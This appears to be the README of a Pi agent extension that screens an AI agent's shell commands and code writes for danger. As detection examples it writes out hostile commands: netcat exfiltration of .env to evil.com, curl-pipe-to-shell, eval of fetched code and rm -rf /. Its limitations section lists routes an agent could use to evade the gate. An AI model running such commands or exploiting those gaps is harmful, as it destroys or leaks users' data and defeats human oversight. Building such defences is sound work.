Protect your production assets from dangerous bash commands β and dangerous code.
A Pi extension that gates shell commands and code execution with three layers of security analysis, inspired by the bash-damage-from-within project.
Default: π Block mode β now with interactive options to Allow Once or Switch to Ask Mode.
v0.4.0+: Three security layers: pattern matching β AST analysis β code content analysis. v0.5.0: Block mode interactive prompt with Switch to Ask Mode option. v0.6.0: Intent detection + pi-powerbar integration.
210 tests, 100% pass rate.**
Repository: github.com/aslamplr/pi-safe-shell
Version: 0.6.0
# Install via npm (recommended)
pi install npm:@aslamplr/pi-safe-shell
# Or run from source
pi -e ./path/to/pi-safe-shell/index.ts
# Or clone to auto-discovered location
git clone https://github.com/aslamplr/pi-safe-shell.git ~/.pi/agent/extensions/pi-safe-shellThe extension loads automatically in all Pi sessions.
Shell Command ββββΊ Pattern Matching ββββΊ AST Analysis ββββΊ Intent Detection ββββΊ Execute / Block
β β
Code Write ββββΊ Code Content Analysis ββββΊ Execute / Block
Token-exact denylist/whitelist matching. Commands matched against denylist are always blocked. Commands matched against whitelist are always allowed.
Uses tree-sitter-bash to parse shell commands into an AST and semantically analyze them:
- 12 intent types β Info, Read, Write, Delete, Execute, Network, Privilege, CodeExecution, etc.
- Path scope analysis β System (
/etc), home (~), project (./), temp (/tmp) - Context-aware flags β
-ris recursive-delete forrm, but recursive-search forgrep - Pipeline patterns β
curl|bash,wget|sh, data exfiltration (cat .env|curl) - Command chaining β
&&,||,;with per-command analysis - Interpreter detection β
python -c,node -e,sh -c,bash -c,eval,xargs - Inline code parsing β Recursively analyze code inside
-c/-eflags - Command substitution β Detect dangerous ops inside
$()and backticks - Variable expansion β Detect
$HOME,$PATH,$IFSwith destructive commands - Heredoc analysis β Analyze
<<EOFcontent for dangerous patterns - Obfuscation detection β Base64 decode piped to shell, wget download-execute patterns
Uses template-based learning to auto-approve repetitive safe commands after a configurable number of approvals:
- Command safety taxonomy β Classifies commands as Safe (grep, cat, ls), Contextual (git checkout, npm install), or Dangerous (rm, chmod, sudo)
- Path classification β Categorizes paths as PROJECT_SAFE, USER_SPACE, SYSTEM, or ROOT_DANGEROUS
- Template abstraction β
grep "Overview" README.mdβ templategrep [STRING] [PATH] - Session learning β Tracks approvals per template, auto-approves when threshold is met
- Mode-based thresholds β Configurable per-mode: sandbox/dev/production/migration
Path-aware safety:
- System paths (
/etc,/usr) β never auto-approved, even with template match - User space paths (
~/Documents) β require one extra approval - Dangerous commands (
rm,sudo) β never auto-approved
# First command β requires approval
grep "API" README.md # β Ask
# User approves
# Same template β auto-approved
grep "Overview" docs/setup.md # β Auto-approved
Analyzes code written via write/edit tools to prevent agents from bypassing shell analysis by writing dangerous code instead:
- Node.js patterns β
fs.rmSync,child_process.exec,eval,require('child_process'),https.request - Python patterns β
shutil.rmtree,os.system,exec,subprocess.run,requests.post - Obfuscation detection β Base64 decoding, hex escapes,
String.fromCharCode, string concatenation - Call chain detection β File read + network POST (exfiltration), shell + rm -rf
- Path-aware scoring β Project paths (
./build) reduce severity; system paths (/) increase it
Every command and code snippet gets a risk score from 0-100:
| Level | Score | Shell Behavior | Code Behavior |
|---|---|---|---|
| π’ Safe | β€20 | Allow | Allow |
| π‘ Caution | 21-50 | Allow + warn | Allow + warn |
| π Danger | 51-80 | Require confirmation (ask mode) | Require confirmation (ask mode) |
| π΄ Critical | β₯81 | Auto-block (all modes except YOLO) | Auto-block (all modes except YOLO) |
Thresholds are configurable. Use
/safe-shell threshold <type> <value>to tune sensitivity.
| Mode | Behavior | Use Case |
|---|---|---|
| π Block (default) | All shell calls blocked. When UI is available, offers interactive options: Allow Once, Switch to Ask Mode and Allow, or Deny. | Maximum safety. |
| β Ask | Each shell call shows a selection prompt. | Selective override without mode-switching. |
| π Whitelist | Only whitelisted commands pass through. Compound operators rejected. | Standard dev workflow. |
| π YOLO | All commands allowed except denylist. No prompts. | Maximum freedom, minimal safety net. |
/safe-shell mode ask
/safe-shell mode whitelist
/safe-shell mode block
/safe-shell mode yolo
Prevents agents from bypassing shell analysis by writing dangerous code instead:
Agent writes: fs.rmSync("/", { recursive: true })
β Blocked: "Critical code detected (score: 85)"
β Override: Use safe_shell_approve tool
Agent writes: import os; os.system("rm -rf /")
β Blocked: "Critical code detected (score: 100)"
40+ dangerous API patterns detected across Node.js and Python.
Tune sensitivity per project or session:
/safe-shell threshold danger 60 # Lower danger threshold from 51 to 60
/safe-shell threshold critical 75 # Make blocking more aggressive
Thresholds are validated to maintain caution < danger < critical.
Frequently-allowed commands are auto-whitelisted:
/safe-shell learning on # Enable
/safe-shell learning status # Check status
After a command is allowed N times (default: 3), it's automatically added to session approvals.
Every command and code analysis is logged to .pi/safe-shell-audit.jsonl:
/safe-shell audit status # View summary: blocked/allowed/confirmed counts
/safe-shell audit off # Disable logging
Audit entries include: timestamp, command, tool, score, level, risk factors, decision, mode.
See detailed AST analysis and scoring breakdown in block messages:
/safe-shell debug on # Enable
Shows: executable, args, flags, paths, pipe/redirect status, inline code, intent, reasons, risk factors.
- Command substitution β
$(rm -rf /),echo $(curl ...), backtick patterns - Variable expansion β
$HOME,$PATH,$LD_PRELOAD,$IFS - Heredoc analysis β
cat <<EOF ... EOFbody content scanning - Eval patterns β
eval "$(curl ...)",eval 'rm -rf /' - Netcat exfiltration β
cat .env | nc evil.com 4444 - Pipeline to interpreter β
curl ... | python3,curl ... | php
Block messages now show:
π Dangerous Shell Command Detected (CRITICAL: 100/100)
Command: rm -rf /
Intent: Delete
Risk Factors:
β’ Recursive Operation
β’ System Path
β’ Destructive Operation
Detection Reasons:
β’ dangerous flag: -r
β’ dangerous flag: -f
β’ rm -rf targeting system root
Why This Is Dangerous:
This command targets system directories which are critical for OS operation.
Modifying or deleting these files could render the system unbootable.
Safer Alternatives:
β’ Use project-relative paths (./build, ./dist) instead of absolute system paths
β’ Add path validation to ensure target is within project directory
Override:
Use the safe_shell_approve tool to allow this command for this session.
| Command | Action |
|---|---|
/safe-shell |
Show current mode, thresholds, and config summary |
/safe-shell mode block|ask|whitelist|yolo |
Switch operating mode |
/safe-shell allow <command> [--project] |
Approve a command |
/safe-shell deny <command> [--project] |
Remove approval |
/safe-shell threshold <type> <value> |
Set risk threshold (critical/danger/caution) |
/safe-shell learning on|off|status |
Toggle learning mode |
/safe-shell intent on|off|status |
Toggle intent detection |
/safe-shell intent-mode <mode> |
Set intent mode (sandbox/dev/prod/migration) |
/safe-shell intent-status |
Show intent session statistics |
/safe-shell debug on|off|status |
Toggle debug mode |
/safe-shell audit status|on|off |
View or toggle audit log |
When pi-powerbar is installed, safe-shell shows its mode in the persistent status bar. The segment updates on every mode switch and approval change.
Segment colors by mode:
| Mode | Display | Color |
|---|---|---|
| π Block | π Block |
Red |
| β Ask | β Ask |
Yellow |
| π Whitelist | π WList |
Dim |
| π YOLO | π YOLO |
Red |
Approval count shows as a suffix when > 0 (e.g. π Block 3).
Load order in ~/.pi/settings.json:
"packages": [
"npm:pi-extension-settings",
"npm:@juanibiapina/pi-powerbar", // β powerbar first
"npm:@aslamplr/pi-safe-shell" // β safe-shell after
]Configure which segments appear via /extension-settings β Powerbar β Left/Right segments.
The shell gate intercepts all tools that can execute shell commands:
| Tool | How it's gated |
|---|---|
bash |
command parameter checked directly |
ctx_execute with language="shell" |
code parameter checked as shell command |
ctx_execute JS/Python |
Scanned for child_process/subprocess/os.system patterns |
interactive_shell |
command or spawn.prompt parameter checked |
ctx_batch_execute |
Each command in batch checked individually |
write/edit |
Code content analyzed for dangerous APIs |
π pi-safe-shell: allow this command?
Tool: bash
Command: rm -rf target/
β Allow Once Let this command run once
Allow Always Always allow in this session
Allow for Project Persist to project whitelist
Deny Block this command
Query-only tool. Checks current mode and approval count. No user interaction.
List, add, or remove session approvals. Shows user confirmation dialog:
safe_shell_approve({ action: "allow", command: "rm -rf ./build" })
β User sees: Allow Once / Allow Always / Allow for Project / Deny
β If approved: command added to session approvals
| Tool | What it does | Why it's safe |
|---|---|---|
run_tests |
Runs configured test command | Output capped at 4KB |
git_status |
Shows git status --porcelain -b |
Read-only |
list_files |
Lists filenames in a directory | Names only, no contents |
Three layers, highest priority first:
Commands approved via /safe-shell allow or ask-mode dialog. Survive /resume.
{
"mode": "whitelist",
"whitelist": ["^pnpm run build$", "^pnpm test$"],
"denylist": ["rm -rf"],
"criticalThreshold": 81,
"dangerThreshold": 51,
"cautionThreshold": 21,
"learningMode": false,
"learningMinUses": 3,
"auditLogEnabled": true,
"debugMode": false,
"safeProjectPaths": ["./build", "./dist", "./out", "./target"],
"testCommand": "pnpm",
"testCommandArgs": ["test"],
"testTimeout": 60000
}Auto-created on first run. Defaults for all projects.
Session approvals (highest)
β
Project config (.pi/pi-safe-shell.json)
β
Global config (~/.pi/agent/extensions/pi-safe-shell/config.json)
β
Hardcoded defaults
AST Analyzer: 119/119 (100%) β Commands, chains, substitutions, variables, heredocs
Code Analyzer: 35/35 (100%) β APIs, obfuscation, paths, call chains
Intent Detector: 56/56 (100%) β Safety, paths, templates, modes, scenarios
Total: 210/210 (100%)
Shell command β Denylist check β Temp approvals β AST analysis β Intent detect β Mode switch
β β β β β
βΌ βΌ βΌ βΌ βΌ
BLOCK β ALLOW β
Score 0-100 Auto-approve block/ask/
β whitelist/yolo
Template match?
Code write β Code content analysis β Block critical β Confirm danger β Allow safe
pi-safe-shell/
βββ index.ts # Main extension (1900+ lines)
βββ src/
β βββ ast-analyzer.ts # AST-based shell command analysis
β βββ code-analyzer.ts # Code content analysis (Node.js/Python)
β βββ intent-detector.ts # Intent detection engine
βββ test-ast-analyzer.ts # 119 AST analysis tests
βββ test-code-analyzer.ts # 35 code analysis tests
βββ INTENT_DETECTION.md # Intent detection documentation
βββ INTEGRATION_GUIDE.md # Developer integration guide
βββ memory/core/project/ # Cross-session project knowledge
β βββ 001-overview.md
β βββ 002-v0.4.0-plan.md
β βββ 003-architecture.md
β βββ 004-quickref.md
βββ .pi/ # Project config and audit log
βββ package.json
βββ README.md
git clone https://github.com/aslamplr/pi-safe-shell.git
cd pi-safe-shell
npm install
pi -e ./index.ts
# Run tests
npx tsx test-ast-analyzer.ts
npx tsx test-code-analyzer.tsIntent Detection + pi-powerbar π§
- β Intent detection engine β Auto-approves repetitive safe commands based on template matching and session learning
- β Command safety taxonomy β Classifies commands as Safe/Contextual/Dangerous
- β Path classification β PROJECT_SAFE, USER_SPACE, SYSTEM, ROOT_DANGEROUS
- β
Template abstraction β
grep [STRING] [PATH]pattern matching - β Mode-based thresholds β sandbox/dev/production/migration modes
- β pi-powerbar integration β Safe-shell mode shown in persistent status bar
- β
New commands β
/safe-shell intent,intent-mode,intent-status - β 56 intent detection tests β 210 total tests, 100% pass rate
Block mode interactive prompt π―
- β
Block mode now shows an interactive prompt when UI is available:
- Allow Once β allows the command for this session
- Switch to Ask Mode and Allow β switches to ask mode and allows
- Deny β blocks the command
- β Falls back to static block message in headless sessions
Code-Based Bypass Prevention + 6 Weeks of Features π
- β Code content analysis β 40+ dangerous API patterns (Node.js + Python)
- β
Configurable risk thresholds β
/safe-shell threshold <type> <value> - β Learning mode β Auto-whitelist frequent commands
- β
Audit log β All commands logged to
.pi/safe-shell-audit.jsonl - β Debug mode β AST details in block messages
- β
Command substitution detection β
$(), backticks - β
Variable expansion analysis β
$HOME,$PATH,$LD_PRELOAD,$IFS - β
Heredoc analysis β
<<EOFbody scanning - β
Eval pattern extraction β
eval "$(curl...)" - β
Netcat exfiltration β
cat .env \| nc - β Contextual block messages β Risk factors, explanations, alternatives
- β 100% pass rate β 154 tests (119 AST + 35 code)
Critical NPM Package Fix π
- β
Include
src/directory in npm package - β
Move
tree-sitter-bashandweb-tree-sitterto dependencies
Phase 3: AST-Based Blocking π
- β Auto-block CRITICAL risks, require confirmation for DANGER
- β Inline code parsing, command chaining, interpreter bypass detection
- β 12 intent types, path scope analysis, 25+ risk factors
YOLO Mode + CI/CD
- β YOLO mode β allow everything except denylist
- β GitHub Actions CI/CD workflows
Initial Release
- β Four security modes, pattern matching, session approvals
This extension is not bulletproof. It's one layer of defense, not your only security measure.
-
eval inline code extraction β
eval "rm -rf /"is detected at CodeExecution (score 55) but the inline code isn't recursively analyzed. Scores are slightly lower than ideal for eval-only attacks. -
Obfuscation gaps β String concatenation (
"rm" + " -rf" + " /") and hex escape sequences via variables aren't fully resolved. The dangerous API call itself (eval,execSync) is detected but the full severity may be underestimated. -
pathlib not detected β Python's
pathlib.Path.unlink()isn't in the current API detection patterns. -
Pure code execution β Agents could write code using techniques not covered by patterns (FFI, native bindings, dynamic imports).
-
Unmonitored tools β New MCP servers or custom extensions aren't automatically gated.
-
External processes β Node.js worker threads, Python multiprocessing could bypass the shell gate.
Use as one layer of defense. Always review agent-generated code.
THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND. The authors make no representations that this extension will prevent all attacks. You are responsible for configuring appropriate policies, monitoring agent behavior, and maintaining backups.
Inspired by bash-damage-from-within by IndyDevDan.
MIT